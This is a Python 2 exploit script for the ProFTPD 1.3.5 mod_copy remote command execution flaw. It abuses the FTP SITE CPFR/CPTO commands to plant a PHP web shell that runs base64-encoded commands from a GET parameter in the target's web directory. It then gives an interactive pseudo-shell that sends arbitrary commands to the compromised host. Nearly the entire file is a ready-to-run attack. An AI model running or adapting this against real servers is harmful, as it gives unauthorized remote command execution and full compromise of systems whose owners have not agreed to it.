#!/usr/bin/python
import argparse
import requests
import socket
import base64
import sys


class ColorUtils(object):
    
    def __init__(self):
        self.__RED = '\x1b[1;31m'
        self.__BLU = '\x1b[1;34m'
        self.__GRE = '\x1b[1;32m'
        self.__YEL = '\x1b[1;33m'
        self.__RST = '\x1b[0;0;0m'


    def success_message(self, message):
        """
        Return the formatted message for an success
        :param message:
        :return:
        """
        return '[{}+{}] {}'.format(self.__GRE, self.__RST, message)


    def error_message(self, message):
        """
        Return the formatted message for an error
        :param message:
        :return:
        """
        return '[{}-{}] {}'.format(self.__RED, self.__RST, message)


    def info_message(self, message):
        """
        Return the formatted message for an information
        :param message:
        :return:
        """
        return '[{}*{}] {}'.format(self.__BLU, self.__RST, message)



class ExploitProFTPD(object):

    def __init__(self, rhost, ftpport, webport, webpath, filename):
        self.__rhost = rhost
        self.__ftpport = ftpport
        self.__webport = webport
        self.__webpath = webpath
        self.__filename = filename
        self.util = ColorUtils()


    def create_php_file(self):
        self.util.info_message('Trying to create the PHP shell ...')
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((self.__rhost, self.__ftpport))
            
            php = '<?php echo shell_exec(base64_decode($_GET[\'cmd\'])); ?>'

            s.send('site cpfr /proc/self/cmdline\n')
            s.recv(1024)
            s.send('site cpto /tmp/.{}\n'.format(php))
            s.recv(1024)
            s.send('site cpfr /tmp/.{}\n'.format(php))
            s.recv(1024)
            s.send('site cpto {}/{}'.format(self.__webpath, self.__filename))
            s.close()

            resp = requests.get('http://{}:{}/{}'.format(self.__rhost, self.__webport, self.__filename))
            if resp.status_code != 200:
                print self.util.error_message('Oooups something goes wrong!')
                sys.exit(1)
            print self.util.success_message('PHP file successfully created!')
            print self.util.info_message('Target: http://{}:{}/{}\n'.format(self.__rhost, self.__webport, self.__filename))
        except socket.error as error:
            s.close()
            print self.util.error_message('Error: \n{}'.format(str(error)))
            sys.exit(1)


    def pseudo_shell(self):
        print self.util.info_message('Interactive pseudo web shell?!')
        target = 'http://{}:{}/{}?cmd='.format(self.__rhost, self.__webport, self.__filename)
        while True:
            command = raw_input('cmd> ')

            if command == None or command == '':
                pass
            if command == 'quit' or command == 'exit':
                break
            command = base64.b64encode(command)
            resp = requests.get('{}{}'.format(target, command))
            print resp.content.split('SITE cpto /tmp/.')[1]



if __name__ == '__main__':
    util = ColorUtils()
    print util.info_message('ProFTPd 1.3.5 - \'mod_copy\' Remote Command Execution')
    print util.info_message('Author: Vadim Melihow (original) Amonsec (this script)')
    print util.info_message('Website: https://amonsec.net\n')
    
    parser = argparse.ArgumentParser()
    parser.add_argument('--rhost', required=True)
    parser.add_argument('--ftpport', required=True)
    parser.add_argument('--webport', required=True)
    parser.add_argument('--webpath', required=True)
    parser.add_argument('--filename', required=True)
    arguments = parser.parse_args()

    exploit = ExploitProFTPD(
            arguments.rhost, 
            int(arguments.ftpport),
            int(arguments.webport),
            arguments.webpath,
            arguments.filename
    )

    exploit.create_php_file()
    exploit.pseudo_shell()

